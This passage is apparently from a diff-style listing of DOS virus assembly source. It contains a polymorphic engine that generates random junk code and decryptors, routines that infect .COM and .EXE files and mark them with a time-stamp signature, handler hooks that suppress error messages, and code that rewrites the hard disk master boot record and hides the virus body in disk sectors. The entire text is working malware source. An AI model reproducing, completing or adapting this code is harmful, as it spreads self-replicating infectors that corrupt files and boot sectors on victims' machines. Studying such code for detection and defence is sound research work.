Get_Random_Poly + MOV AH, AL + + CMP AH, 2Eh ; CS: override? + JE LOC_115 ; Then get another value. + + AND AH, 0F8h + + CMP AH, 0B0h ; MOV AL ? + JE LOC_115 ; Then get another value. + + STOSB + ADD CL, 01h + + SUB BL, 01h ; JMP-Hole filled with + JNZ LOC_115 ; garbage? + +LOC_RET_116: + RETN + + + +SUB_30: + TEST Flags, 00010000b + JNZ LOC_119 + + CALL Get_Random_Poly + + TEST AL, 00000100b + JNZ LOC_118 + + MOVSB + + RETN +LOC_118: + AND AH,7 + + CMP AH, 04h + JE SUB_30 + + MOV AL, AH + OR AL, 58h + STOSB + + MOV AL, 0FFh + OR AH, 0E0h + STOSW + + ADD CL, 02h + + RETN + + +LOC_119: + XOR Flags, 10h + MOV AL, 0E9h ; JMP opcode. + STOSB + + ADD CL, 2 + MOV AL, CL + CBW + ADD AX, 1E7Bh + NEG AX + STOSW + + RETN + + + +SUB_31: + PUSH BX + MOV SI, 0E70h + + CALL Get_Random_Poly + JNP LOC_120 ; Jump if not parity + + MOV DI, OFFSET Used_Mov_Ptr + MOV AX, [DI] + PUSH [DI+2] + PUSH SI + + MOVSW + MOVSB + + POP SI + MOV [SI], AX + POP AX + MOV [SI+2], AL +LOC_120: + MOV DI, OFFSET Undoc + CALL Get_Random_Poly + + CMP AL, 55h + JB LOC_121 + + CMP AL, 0AAh + JB LOC_122 + + MOV AX, [SI+3] + STOSW + MOVSW + MOVSB + + INC SI + INC SI + MOVSW + MOVSB + MOV BYTE PTR DATA_92, 3Eh + JMP LOC_123 +LOC_121: + MOVSW + MOVSB + MOV AX,[SI] + INC SI + INC SI + MOVSW + MOVSB + STOSW + MOV BYTE PTR DATA_92, 2Fh + JMP LOC_123 +LOC_122: + MOVSW + MOVSW + MOVSW + MOVSW + MOV BYTE PTR DATA_92, 3Bh +LOC_123: + MOV CX, 09h + REP MOVSB + POP BX + RETN + + + + +Make_Clear_Flags: + CALL Get_Random_Poly ; Get random number in AX. + + CMP AL, 128 ; 50% chance. + JB LOC_RET_127 + + TEST AH, 00001000b + JNZ LOC_125 + + MOV AL, 0FAh ; CLI +Store1: + STOSB + ADD CL, 01h + + RETN +LOC_125: + PUSH BX + + MOV BX, OFFSET PushPop_Pairs +LOC_126: + ADD AL, 20 ; Must be 20 or above. + JNC LOC_126 ; Overflow? + + CBW + AND AL, 0FEh ; Number must be even. + ADD BX, AX + MOV AH, [BX] ; Get PUSH reg. + + POP BX + + MOV AL, 9Dh ; POPF + + CMP Host_Type, 01h ; Host is .EXE ? + JE Store1 + + STOSW + ADD CL, 02h + +LOC_RET_127: + RETN + +LOC_128: + XOR Flags, 8 + + RETN + +SUB_33: + TEST Flags, 00001000b + JNZ LOC_128 + + PUSH BX +LOC_129: + CALL Get_Random_Poly + + TEST AH, 00000001b + JZ LOC_131 + + AND AX, 07h + MOV BX, AX + + CMP BL, 04h + JNE LOC_130 + + CMP BYTE PTR DATA_81, 0B0h + JE LOC_129 + + CMP BYTE PTR DATA_96, 00h + JE LOC_129 +LOC_130: + MOV AL, DATA_100[BX] + STOSB + + INC CL + POP BX + + RETN +LOC_131: + CMP BYTE PTR DATA_96, 0 + JE LOC_129 + + CMP BYTE PTR DATA_95, 0 + JE LOC_129 +LOC_132: + CALL Get_Random_Poly + AND AX,7 + + CMP AL,5 + JA LOC_132 + + SHL AL, 1 ; MUL 2. + MOV BX, AX + MOV AX, DATA_101[BX] + STOSW + + CMP BL,6 + JA LOC_133 + + CALL Get_Random_Poly + AND AL, 0Fh + STOSB + ADD CL, 1 + + CMP BL, 6 + JNE LOC_133 + + MOV AL, AH + STOSB + ADD CL, 1 +LOC_133: + ADD CL, 2 + POP BX + + RETN + + +SUB_34: + CALL Get_Random_Poly + + CMP AX, 5555h + JB LOC_RET_136 + + OR Flags, 00001000b + + CALL Make_Dummy_Int + CALL Get_Random_Poly + + XCHG BX, AX + AND BX, 02h + MOV AX, DATA_98[BX] + STOSW + + MOV DX, Host_Entrypoint + ADD DX, OFFSET Buffer + ADD DX, CX + ADD CL, 02h + + TEST AL, 00001000b + JNZ LOC_134 + + MOV AL, 81h ; Arithmic + STOSB + + ADD CL, 7 + CALL SUB_35 + + MOV AL, 0FAh + STOSB + + XCHG DX, AX + STOSW + + RETN + + +LOC_134: + MOV AL, 80h + STOSB + ADD CL,6 + CALL SUB_35 + + CMP AH, 80h + JA LOC_135 + + MOV AL, 0FBh + STOSB + MOV AL, DH + STOSB + + RETN +LOC_135: + MOV AL, 0FAh + STOSB + + XCHG DX, AX + STOSB + +LOC_RET_136: + RETN + + +SUB_35: +LOC_137: + CALL Get_Random_Poly + MOV BL, AL + AND BX, 07h + + CMP BL, 04h + JA LOC_137 + + MOV AL, DATA_99[BX] + STOSB + + CMP BL, 03h + JE LOC_139 + + CMP BL, 04h + JNE LOC_RET_140 + + TEST BYTE PTR [DI-2], 00000001b + JNZ LOC_138 + + NEG DH + NEG DL + + RETN +LOC_138: + NEG DX + RETN +LOC_139: + NOT DX + +LOC_RET_140: + RETN + + + +SUB_36: + TEST Flags, 00001000b + JZ LOC_RET_141 + + CALL Get_Random_Poly + AND AH, 7Fh + ADD AH, 0Ah + MOV AL, 75h + STOSW + +LOC_RET_141: + RETN + + +Make_Dummy_Int: + ADD CL, 02h + MOV BL, 2Ah + CALL Get_Random_Poly +LOC_142: + ADD AL, BL + JNC LOC_142 + + AND AX, 0000000011111110b + XCHG BX, AX + MOV AX, OFFSET Int_Table[BX] + STOSW + + RETN + + + +SUB_38: + PUSH AX + CMP DATA_77,0 + MOV CX,200H + JNZ LOC_143 + MOV CX,DX +LOC_143: + MOV DX, OFFSET Undoc + MOV DI, DX + MOV AH, 40h + CALL Traced_i21h + POP AX + + RETN + + +DATA_77 DW 0E6Ah +Host_Entrypoint DW 0 +DATA_79 DB 0BFh +DATA_80 DW 9 +DATA_81 DB 0B6h +DATA_82 DB 78h +Used_Mov_Ptr DB 0BBh +DATA_84 DW 0 +Used_Push_Ptr DB 57h +Shit9 DB 2Eh +Shit2 DB 0 +Shit1 DB 35h +Used_Ptr DB 4Fh +Shit8 DB 4Bh +Shit6 DB 77h + DB 0F9h, 0C3h + + +SUB_39: + PUSH BX + + CALL Get_Ran_3 + MOV AH, Mov_Ptr[BX] + MOV Used_Mov_Ptr, AH + + MOV AH, Push_Ptr[BX] + MOV Used_Push_Ptr, AH + + CALL Get_Random_Poly + MOV DATA_93, AH + + CMP AH, 128 ; 50% chance. + JA LOC_145 + + MOV AH, Dec_Ptr[BX] + + JMP LOC_146 +LOC_145: + MOV AH, Inc_Ptr[BX] +LOC_146: + MOV Used_Ptr, AH + MOV DL, BL + ADD BL, 3 + + CMP BL, 3 + JNE LOC_147 + + SUB BL, 2 +LOC_147: + MOV DATA_94,BL +LOC_148: + CALL Get_Random_Poly + NOT AX + AND AL, 07h + MOV BL, AL + SHR AL, 01h + + CMP DATA_94, AL + JE LOC_148 + + MOV DATA_95, AL + MOV AH, DATA_110[BX] + MOV DATA_81, AH + SHL DL, 03h + ADD BL, DL + MOV AH, DATA_111[BX] + MOV Shit1, AH +LOC_149: + CALL Get_Random_Poly + NOT AX + + MOV BL, AL + AND BL, 07h + + CMP BL, 6 + JA LOC_149 + + CMP DATA_94, BL + JE LOC_149 + + CMP DATA_95, BL + JE LOC_149 + + MOV DATA_96, BL + MOV AH, [BX+MOV_Reg] + + MOV DATA_79, AH + MOV AH, OFFSET [BX+DEC_Reg] + MOV Shit8, AH + + CALL Get_Random_Poly + AND AL, 00000111b ; 0 - 7. + CBW + MOV BX, AX + MOV AH, [Cond_Jumps+BX] + MOV Shit6, AH + MOV DATA_97, BL + CALL Get_Random_Poly + NOT AX + XOR BX, BX + MOV BL, AL + AND BL, 00000011b ; 0 - 3. + MOV AL, Host_Type + + OR AL, AL ; .COM-file? + JZ LOC_150 + + MOV BL, AL +LOC_150: + MOV AH, Overrides[BX] + MOV Shit9, AH + MOV AL, DATA_93 + AND AL, 00000111b ; 0 - 7. + CBW + INC AX ; 1 - 8. + ADD AX, OFFSET Buffer + MOV DATA_80, AX + POP BX + + RETN + +DATA_92 DB 0 +DATA_93 DB 38H +DATA_94 DB 5DH +DATA_95 DB 3 +DATA_96 DB 1 +DATA_97 DB 4 +DATA_98 DW 0EC8BH + DB 54H, 5DH +DATA_99 DB 7EH, 76H, 6EH, 66H, 46h + + +;; +DATA_100 DB 64h, 65h, 67h, 9Bh, 0D6h, 9Bh, 64h, 65h + +DATA_101 DW 0F0C0H + DB 0C1H,0F0H,0F6H,0C8H,0F7H,0C8H + DB 0D0H,0F0H,0D1H,0F0H + +; MOV BX DI SI +Mov_Ptr DB 0BBh, 0BFh, 0BEh + +; ---> PUSH BX DI SI +Push_Ptr DB 053h, 057h, 056h + +; ---> INC BX DI SI +Inc_Ptr DB 043h, 047h, 046h + +; ---> DEC BX DI SI +Dec_Ptr DB 4Bh, 4Fh, 4Eh + +; ---> MOV AX, BX, CX, DX, DI, SI, BP. +MOV_Reg DB 0B8h, 0BBh, 0B9h, 0BAh, 0BFh, 0BEh, 0BDh +DEC_Reg: + DEC AX + DEC BX + DEC CX + DEC DX + DEC DI + DEC SI + DEC BP + + +; ---> JMP +Uncon_Jumps DB 0E8h, 0EBh, 0E9h, 0EAh, 0EFh, 0EEh, 0EDh ; JMPs. +DATA_109 DB 0C0H, 0C3H,0C1H,0C2H,0C7H,0C6H,0C5H + +; ---> MOV AL AH BL BH CL CH DL DH +DATA_110 DB 0B0h, 0B4h, 0B3h, 0B7h, 0B1h, 0B5h, 0B2h, 0B6h +DATA_111 DB 7 + DB 27H, 00H, 00H, 0FH, 2FH, 17H + DB 37H, 05H, 25H, 1DH, 3DH, 0DH + DB 2DH, 15H, 35H, 04H, 24H, 1CH + DB 3CH, 0CH, 2CH, 14H, 34H + +; JNZ JNS JG JGE JA JNB JB JBE +Cond_Jumps DB 75h, 79h, 7Fh, 7Dh, 77h, 73h, 72h, 76h + +; DS: CS: ES: SS: +Overrides DB 3Eh, 2Eh, 26h, 36h ; Segment overrides. +Encr_Methods DB 30h, 00h, 28h, 30h ; encr. + +DATA_115 DB 0C0h, 0C4h, 0C3h, 0C7h, 0C1h, 0C5h, 0C2h, 0C6h + +DATA_116 DB 0E8h, 0ECh, 0EBh, 0EFh, 0E9h, 0EDh, 0EAh, 0EEh +DATA_117 DB 75h, 78h, 7Ch, 7Eh +DATA_118 DW 1F16h, 1F50h, 0D88Eh, 0716h + + DB 50H, 07H, 8EH, 0C0h +DATA_119 DB 0C0h, 0C9H, 0D2H, 0DBh +Int24h DW 4CBh, 512h +DATA_122 DW 6EEh +DATA_123 DW 70h + + + +; Dummy critical-error handler. +NewInt24h: + MOV AL, 03h +Do_IRET: IRET + + +Clean_File: + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH DS + PUSH DI + PUSH SI + + CALL Set_Dummy_Handlers + CALL Save_FileAttr + + MOV AX, 3D02h ; Open file r/w. + CALL Traced_i21h + JC LOC_155 + + PUSH AX + CALL Check_FileName + ADD BX, 04h + MOV CX, BX + POP BX + + CMP CX, 0Eh + JE LOC_154 + + PUSH CS + POP DS + + CLD + MOV DI, OFFSET FileName1 + MOV SI, OFFSET FileName2 + REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di] + JCXZ LOC_151 ; Jump if cx=0 + + JMP LOC_154 + +LOC_151: + MOV CX, 28 ; Read header. + MOV DX, OFFSET Buffer + MOV AH, 3Fh + CALL Traced_i21h + JC LOC_154 + + CALL Save_FileTime + MOV AX, Trace_Int + AND AL, 00011111b ; Clear all but seconds. + + CMP AL, 00010001b ; Infected stamp? + JNE LOC_153 + + MOV AX, Marker + + CMP AX, 'ZM' ; True .EXE? + JE Do_Clean_EXE + + CMP AX, 'MZ' + JNE LOC_153 +Do_Clean_EXE: + CALL SUB_41 + JC LOC_154 +LOC_153: + CALL Restore_FileTime +LOC_154: + MOV AH, 3Eh ; Close file. + CALL Traced_i21h +LOC_155: + CALL Restore_FileAttr + CALL Restore_Dummy_Handlers + + POP SI + POP DI + POP DS + POP ES + POP DX + POP CX + POP BX + POP AX + + RETN + +SUB_41: + MOV AX, Init_CS ; Size CS in bytes. + MOV DX, 16 + MUL DX + + ADD AX, Init_IP ; Plus IP. + ADC DX, 0 + + MOV CX, Header_Size ; Calculate headersize. + SHL CX, 04h ; MUL 16. + + ADD AX, CX ; Plus headersize. + ADC DX, 0 + + MOV CX, DX ; Go to entrypoint of host. + MOV DX, AX + MOV AX, 4200h + CALL Traced_i21h + JNC No_Err_2 + + RETN + + +No_Err_2: + SUB AX, Virus_Size + SBB DX, 0 + + PUSH AX + PUSH DX + + MOV AH, 3Fh + MOV CX, 128 + MOV DX, OFFSET Ruck + CALL Traced_i21h + JNC LOC_157 + + CMP AX, 36 + JA LOC_157 + + ADD SP, 04h + STC + RETN + +LOC_157: + PUSH BX + + MOV DI, AX + ADD DI, DX + MOV CX, 50 + STD + + MOV AL, '.' + REPNE SCASB + + OR CX, CX + JNZ LOC_158 + + POP BX + + ADD SP, 04h + STC + + RETN +LOC_158: + MOV AH, [DI+2] + XOR BX, BX + +LOC_159: + CMP Encr_Methods[BX], AH + JE LOC_161 + + INC BX + + CMP BX, 04h + JA LOC_160 + + JMP LOC_159 +LOC_160: + POP BX + + ADD SP, 04h + STC + + RETN + +LOC_161: + MOV AL,[DI+3] + XOR BX, BX +LOC_162: + CMP AL, DATA_111[BX] + JE LOC_164 + + INC BX + + CMP BX, 19h + JA LOC_163 + + JMP LOC_162 +LOC_163: + POP BX + ADD SP, 04h + STC + + RETN +LOC_164: + AND BL, 07h + MOV AL, DATA_110[BX] + MOV CX, 50 + REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al + + OR CX, CX + JNZ LOC_165 + + POP BX + ADD SP, 04h + STC + RETN +LOC_165: + MOV AL, [DI+2] + CLD + POP BX + POP CX + POP DX + PUSH DX + + PUSH CX + PUSH AX + + MOV AX, 4200h + ADD DX, OFFSET Old_Entry + ADC CX, 0 + CALL Traced_i21h + + MOV CX, 15 + MOV DX, OFFSET Ruck + MOV AH, 3Fh ; Read + CALL Traced_i21h + + POP AX + MOV byte ptr Crp_1, AH + JMP $+2 ; delay for I/O + MOV DI, DX + MOV CX, 15 + +LOCLOOP_166: +Crp_1: + ADD [DI],AL + NOT BYTE PTR [DI] + + INC DI + LOOP LOCLOOP_166 + + MOV DI,DX + + MOV AX,[DI] + MOV Init_IP, AX + + MOV AX, [DI+2] + MOV Init_CS, AX + + MOV AX, [DI+4] + MOV Init_SP, AX + + MOV AX, [DI+6] + MOV Init_SS, AX + + MOV AX, [DI+8] + MOV File_Mod512, AX + + MOV AX, [DI+0AH] + MOV Byte_Pages, AX + + MOV AX, [DI+0CH] + MOV Trace_Int, AX + + MOV AL, [DI+0EH] + + CMP AL, 01h + JE LOC_167 + + ADD SP,4 + STC + RETN +LOC_167: + POP CX + POP DX + + PUSH DX + PUSH CX + + AND DX, 1FFh + + CMP File_Mod512, DX + JE LOC_168 + + ADD SP, 04h + STC + RETN +LOC_168: + XOR CX, CX ; Go to start of file. + MOV DX, CX + MOV AX, 4200h + CALL Traced_i21h + + MOV DX, OFFSET Buffer ; Read header. + MOV CX, 28 + MOV AH, 40h + CALL Traced_i21h + + POP CX ; Go to start of file. + POP DX + MOV AX, 4200h + CALL Traced_i21h + + MOV AH, 40h ; Write marker. + XOR CX, CX + CALL Traced_i21h + + RETN + + + +Set_Dummy_Handlers: + PUSH ES + + XOR AX, AX + MOV ES, AX + + MOV AX, ES:[24h * 4] ; Save INT 24h. + MOV CS:Int24h, AX ; (Critical error-handler). + MOV AX, ES:[24h * 4 + 2] + MOV CS:Int24h+2, AX + + MOV AX, ES:[1Bh * 4] ; Save INT 1Bh. + MOV CS:DATA_122, AX ; (Ctrl-Break handler). + MOV AX, ES:[1Bh * 4 + 2] + MOV CS:DATA_123, AX + + MOV ES:[24h * 4 + 2], CS ; Dummy error-handler. + MOV ES:[24h * 4], OFFSET NewInt24h + + MOV ES:[1Bh * 4 + 2], CS ; Dummy Ctrl-Break handler. + MOV ES:[1Bh * 4], OFFSET Do_IRET + + POP ES + + RETN + + +Restore_Dummy_Handlers: + + PUSH DS + PUSH ES + PUSH SI + + XOR AX, AX + CLD + + PUSH CS + POP DS + + MOV ES, AX + + MOV SI, OFFSET Int24h ; Restore original INT 24h. + MOV DI, 24h * 4 + MOVSW + MOVSW + + MOV DI, 1Bh * 4 ; Restore original INT 1Bh. + MOVSW + MOVSW + + POP SI + POP ES + POP DS + + RETN + + +Make_Random_Stack: + + CALL Get_Random_Poly + + AND AX, 00000011b ; Mask between 0 - 3. + JZ Make_Random_Stack + + ADD AX, Init_CS ; Variable stacksegment. + MOV Init_SS, AX + + CALL Get_Random_Poly + AND AX, 00000111b ; 0 - 7. + ADD AX, (Virus_Size + 272) + + AND AL, 11111110b + MOV Init_SP, AX + + RETN + + +Infect_Close: + PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH DS + PUSH DI + PUSH SI + PUSHF + + PUSH AX + CALL Set_Dummy_Handlers + + TEST CS:Flags, 00000001b + JNZ LOC_172 + + CALL Save_FileTime + MOV AX, CS:Trace_Int + AND AL, 00011111b ; Mask seconds. + + CMP AL, 00010001b ; Infected stamp? + JE LOC_172 + + CALL Get_FileName + JC LOC_172 + + XOR CX, CX ; Go to begin file. + MOV DX, CX + MOV AX, 4200h + CALL Traced_i21h + JC LOC_172 + + MOV AH, 3Fh ; Read header. + MOV CX, 28 + + PUSH CS + POP DS + + PUSH DS + POP ES + + MOV DX, OFFSET Buffer + CALL Traced_i21h + JC LOC_172 + + CMP AX, CX ; Bytes read not equal? + JNE LOC_172 + + MOV SI, DX + CLD + LODSW ; String [si] to ax + + CMP AX, 'ZM' ; True .EXE-file? + JE LOC_170 + + CMP AX, 'MZ' ; True .EXE-file? + JE LOC_170 + + CALL Infect_COM + JC LOC_172 + + JMP LOC_171 +LOC_170: + CALL Infect_EXE + JC LOC_172 +LOC_171: + MOV AX, Trace_Int + AND AL, 0E0h + OR AL, 11h + MOV Trace_Int, AX + CALL Restore_FileTime +LOC_172: + POP AX + POPF + MOV AH, 3Eh ; Close file. + CALL Traced_i21h + + PUSH AX + PUSHF + CALL Restore_Dummy_Handlers + + POPF + POP AX + POP SI + POP DI + POP DS + POP ES + POP DX + POP CX + POP BX + RETN + + + +Get_FileName: + PUSH BX + + MOV AX, 1220h ; Get DCB-number. + INT 2Fh + JNC LOC_174 + +Error_DCB: STC + JMP LOC_183 + NOP +LOC_174: + CMP BYTE PTR ES:[DI], 0FFh ; Filehandle not open? + JE Error_DCB + + XOR BX, BX + MOV BL, ES:[DI] + + MOV AX, 1216h ; Get DCB-address. + INT 2Fh + JC LOC_183 + + PUSH ES + POP DS + + PUSH CS + POP ES + +;* AND [DI+2],0FFF8H + DB 83H, 65H, 02H,0F8H ; Fixup - byte match + OR WORD PTR [DI+2], 02h ; Set file open-mode to r/w. + ADD DI, 20h + MOV SI, DI + CLD + PUSH SI + MOV DI, OFFSET FileName2 + XOR BX, BX + MOV CX, 08h + +LOCLOOP_175: + LODSB ; String [si] to al + + CMP AL, ' ' + JE LOC_176 + + STOSB + INC BX + LOOP LOCLOOP_175 + +LOC_176: + MOV AL, '.' + STOSB + INC BX + POP SI + ADD SI, 08h + MOV CX, 03h + +LOCLOOP_177: + LODSB ; String [si] to al + CMP AL, ' ' + JE LOC_178 + + STOSB + INC BX + INC BH + LOOP LOCLOOP_177 + +LOC_178: + CMP BH, 03h + JE LOC_180 +LOC_179: + STC + JMP LOC_183 +LOC_180: + SUB SI,3 + LODSW ; String [si] to ax + + CMP AX, 'XE' ; .EXE-file? + JE LOC_181 + + CMP AX, 'OC' ; .COM-file? + JNE LOC_179 +LOC_181: + LODSB ; String [si] to al + + CMP AX, 'XE' ; .EXE-file? + JE LOC_182 + + CMP AX, 'OM' ; .COM-file? + JNE LOC_179 +LOC_182: + MOV BH, 00h + CALL SUB_14 +LOC_183: + POP BX + + RETN + +Check_Infect: + TEST Flags, 00000100b + JZ No_JMP_Start + + CMP Host_Type, 00h ; Host is .COM-file? + JE Handle_COM1 + + MOV AX, [SI+0Eh] ; SS. + SUB AX, [SI+16h] ; Minus CS. + JZ No_JMP_Start + + SUB AX, 03h + JA No_JMP_Start + + MOV AX, [SI+14h] ; AX = IP. + + CMP AX, OFFSET Buffer + JB No_JMP_Start + + CMP AX, 1EC4h + JA No_JMP_Start + + STC + + RETN +Handle_COM1: + CMP BYTE PTR [SI], 0E9h ; Starts with a JMP ? + JNE No_JMP_Start + + STC + + RETN +No_JMP_Start: + CLC + + RETN + + + +Infect_Harddisk: + + MOV AX, 5445h ; Residency-check. + INT 13h + + CMP AX, 4554h ; Are we already resident? + JE JMP_Exit_HD_Infect ; (harddisk already infected) + + PUSH CS + POP ES + + XOR AX, AX + MOV DS, AX + + MOV SI, 13h * 4 ; Save INT 13h. + MOV DI, OFFSET Traced_Int13h + + CLD + MOVSW + MOVSW + + PUSH CS + POP DS + + MOV DX, 80h ; Read MBR of 1st harddisk. + MOV CX, 01h + MOV AX, 0201h + MOV BX, OFFSET Buffer + CALL Traced_i13h + JNC No_Err_1 + +JMP_Exit_HD_Infect: + + JMP LOC_RET_189 + NOP +No_Err_1: + MOV AX, Drew2 + SUB AX, Drew1 + + CMP AX, 0CCFFh ; Already infected? + JE JMP_Exit_HD_Infect + + MOV AH, 08h ; Get disk drive parameters. + MOV DL, 80h + CALL Traced_i13h + + MOV AX, 0310h ; Store virusbody on HD. + XOR BX, BX + INC CH + MOV DATA_150, CX + DEC DH + SUB CL, 16 ; - Virus_Size + MOV DL, 80h + CALL Traced_i13h + JC JMP_Exit_HD_Infect + + ADD CL, 16 ; Store original MBR. + MOV BX, OFFSET Buffer + MOV AX, 0301h + CALL Encrypt_Boot + CALL Traced_i13h + JC JMP_Exit_HD_Infect + + CLD + MOV BL, 01h + CALL SUB_49 + MOV DX, 80h + MOV CX, 01h + MOV AX, 0301h + MOV BX, OFFSET Buffer + + TEST Flags, 10000000b ; Win95/NT active? + JZ LOC_188 + + PUSH AX ; PARAMETER_4 + PUSH BX ; PARAMETER_3 + PUSH CX ; PARAMETER_2 + PUSH DX ; PARAMETER_1 + CALL Infect_Exec2 + JNC LOC_RET_189 ; Jump if carry=0 +LOC_188: + CALL Infect_Exec3 + +LOC_RET_189: + RETN + + CLI + XOR AX, AX + MOV SS, AX ; Setup stack. + MOV SP, 7C00h + MOV DS, AX +Init_Boot_Key: MOV CH, 0 + ORG $-1 +Boot_Key DB 0B8h +Boot_Ptr: MOV SI, 0 + ORG $-2 +Start_Encr DW 7C16h +Screw1: + +LOC_190: + SUB [SI], CH +Change_Ptr: INC SI +Change_Key: INC CH +Boot_Loop: JL LOC_190 ; Jump if < +Encr_Boot: + + STI + + INT 12h + SUB AX, 9 ; Reserve our memory. + + MOV CL, 6 ; Convert to segment-address. + SHL AX, CL + + MOV ES, AX + + MOV AH, 08h ; Get disk drive parameters. + MOV DL, 80h + INT 13h + + INC CH + DEC DH + SUB CL, 10h + MOV DL, 80h + MOV AX, 0211h ; Read virusbody from disk. + XOR BX, BX + INT 13h + + PUSH ES + MOV AX, OFFSET Reloc_Boot + PUSH AX + RETF + + +Traced_Int13h DW 0, 0 + +Reloc_Boot: + PUSH DS ; ES = 0. + POP ES + + PUSH CS + POP DS + + MOV DI, 7C00h + + PUSH ES + PUSH DI + + MOV SI, 2000h + + CLD + MOV CX, 512 + REP MOVSB + + CALL Botty + STI + RETF + +SUB_49: + MOV Poly_Sector, 00h + PUSH BX + CLD + CALL Get_Ran_3 + + MOV AH, Mov_Ptr[BX] + MOV BYTE PTR Boot_Ptr, AH + MOV AH, Inc_Ptr[BX] + MOV BYTE PTR Change_Ptr, AH + MOV DL, BL + ADD BL, 03h + + CMP BL, 03h + JNE LOC_191 + + SUB BL,2 +LOC_191: + MOV DATA_94,BL +LOC_192: + CALL Get_Random_Poly + NOT AX + AND AL, 07h + MOV BL, AL + SHR AL, 01h + + CMP DATA_94, AL + JE LOC_192 + + MOV DATA_95, BL + MOV AH, DATA_110[BX] + MOV BYTE PTR Init_Boot_Key, AH + MOV AH, DATA_115[BX] + MOV BYTE PTR Change_Key+1, AH + SHL DL, 03h + ADD BL, DL + MOV AH, DATA_111[BX] + MOV byte ptr Screw1+1, AH + CALL Get_Random_Poly + MOV BL, AH + AND BX, 03h + + MOV AH, DATA_117[BX] + MOV BYTE PTR Boot_Loop, AH + CALL Get_Ran_3 + MOV AL, Encr_Methods[BX] + MOV AH, 0E0h + MOV WORD PTR Bozo, AX + XOR BL, 03h + MOV AL, Encr_Methods[BX] + MOV byte ptr Screw1, AL + +LOC_193: + CALL Get_Random_Poly + OR AH, 10000000b + + CMP AH, 0D8h + JAE LOC_193 + + POP BX + PUSH BX + PUSH AX + MOV BH, 00h + MOV Boot_Key, AH + MOV SI, 1409h + MOV DI, OFFSET Buffer + MOV Start_Encr, 7C16h + + CMP BL, 02h + JNE LOC_194 + + MOV DI,1EA8h + MOV Start_Encr, 7C54h +LOC_194: + CALL Get_Random_Poly + AND AX, 03h + XCHG BX, AX + MOV AL, DATA_119[BX] + MOV [SI+2], AL + MOV AL, 0D0h + ADD AL, BL + MOV [SI+4], AL + + MOVSW + MOVSW + MOVSW + MOVSW + + MOV DH, BL + XOR CX, CX + CALL SUB_50 + CALL Get_Random_Poly + OR AX, AX + JP LOC_195 ; Jump if parity=1 + MOV AX,[SI] + ADD SI, 02h + OR Flags, 00001000b + MOVSW + MOVSB + STOSW + JMP LOC_196 +LOC_195: + MOVSW + MOVSW + MOVSB +LOC_196: + CALL SUB_51 + MOVSW ; Mov [si] to es:[di] + MOV DATA_93, 0FFh + CALL SUB_27 + CALL SUB_52 + LODSW ; String [si] to ax + SUB AH, CL + STOSW + SUB CL, CH + MOV AL, CH + + TEST Flags, 00001000b + JZ LOC_197 + + ADD AL, 02h +LOC_197: + AND Flags, 0F7h + CBW ; Convrt byte to word + MOV SI, 1E77h + SUB SI, AX + MOV AX, CX + POP CX + POP BX + PUSH CX + + CMP BL, 02h + JNE LOC_198 + + ADD SI, 3Eh +LOC_198: + CBW ; Convrt byte to word + ADD [SI],AX + POP AX + MOV CX,1FH + MOV SI,1DEFH + + CMP BL, 02h + JE LOCLOOP_199 + + CMP BL, 01h + JNE LOC_RET_200 + + MOV CX, 28h + MOV SI, 141Fh + +LOCLOOP_199: + LODSB ; String [si] to al + +Bozo: +;* ADD AL,AH + DB 00H,0E0H ; Fixup - byte match + INC AH + STOSB ; Store al to es:[di] + LOOP LOCLOOP_199 + + CALL Get_Random_Poly + NOT AX + MOV Drew1, AX + ADD AX, 0CCFFh + MOV Drew2, AX + +LOC_RET_200: + RETN + + +SUB_50: + ADD SI, 02h + CALL Get_Random_Poly + NOT AX + AND AL, 03h + MOV BL, AL + MOV DL, [BX+Overrides] + + CMP AL, 01h + JE LOC_203 + + CMP AL, 03h + JE LOC_203 + + SHR BL, 01h + MOV AL, 06h + MUL BL ; ax = reg * al + MOV BX, AX +LOC_201: + CALL Get_Random_Poly + AND AH, 03h ; 0 - 3. + + CMP AH, 03h ; 0, 1, 2 + JE LOC_201 + + SHL AH, 1 ; MUL 2. + ADD BL, AH + MOV AX, DATA_118[BX] + + CMP AL, 16h + JE LOC_203 + + CMP AL, 50h + JNE LOC_202 + + ADD AL, DH + STOSW + + RETN + +LOC_202: + ADD AH, DH + STOSW + + RETN +LOC_203: + MOV CH, 02h + + RETN + + + +SUB_51: + CMP DL, 3Eh + JE LOC_RET_204 + + MOV AL, DL + STOSB + + ADD CL, 01h + +LOC_RET_204: + RETN + + +SUB_52: + CALL Get_Random_Poly + NOT AX + ADD AL,AH + + CMP AL, 85 + JB LOC_206 + + ADD SI, 02h + ADD CL, 01h + MOV BL, DATA_95 + + CMP AL, 0AAh + JB LOC_205 + + MOV AL, 80h + MOV AH, DATA_115[BX] + STOSW + + MOV AL, 01h + STOSB + + RETN +LOC_205: + MOV AL, 80h + MOV AH, DATA_116[BX] + STOSW + + MOV AL, 0FFh + STOSB + + RETN +LOC_206: + MOVSW ; Mov [si] to es:[di] + RETN + + + +Encrypt_Boot: + PUSHF + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + + CLD + MOV DX, BX + MOV DI, DX + MOV AX, 'ef' + MOV BX, 7463h + MOV CX, 200h ; 1024 bytes. + +LOCLOOP_207: + SCASW ; Scan es:[di] for ax + JNZ LOC_208 + + XCHG BX, AX + + SCASW ; Scan es:[di] for ax + JZ LOC_209 + + XCHG BX, AX + SUB DI, 02h +LOC_208: + DEC DI + LOOP LOCLOOP_207 + + JMP LOC_215 +LOC_209: + MOV AX, 4Eh +LOC_210: + MOV CX, 200h + MOV DI, DX + MOV SI, 0Ch + +LOCLOOP_211: + SCASW ; Scan es:[di] for ax + JNZ LOC_212 + + ADD ES:[DI-2], SI +LOC_212: + DEC DI + LOOP LOCLOOP_211 + + DEC AX + DEC AX + + CMP AX, 4Ch + JE LOC_210 + + MOV DI, DX + MOV CX, 1C0h + MOV AX, 280h + +LOCLOOP_213: + SCASW ; Scan es:[di] for ax + JC LOC_214 + + DEC DI + DEC DI + PUSH AX + DEC AX + DEC AX + SCASW ; Scan es:[di] for ax + POP AX + JA LOC_214 + + SUB ES:[DI-2],SI +LOC_214: + DEC DI + LOOP LOCLOOP_213 + +LOC_215: + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + POPF + + RETN + + + +SUB_54: + MOV AX, 0201h ; Read MBR of 1st harddisk. + MOV BX, OFFSET Buffer + + XOR CX, CX + MOV DS, CX + + PUSH CS + POP ES 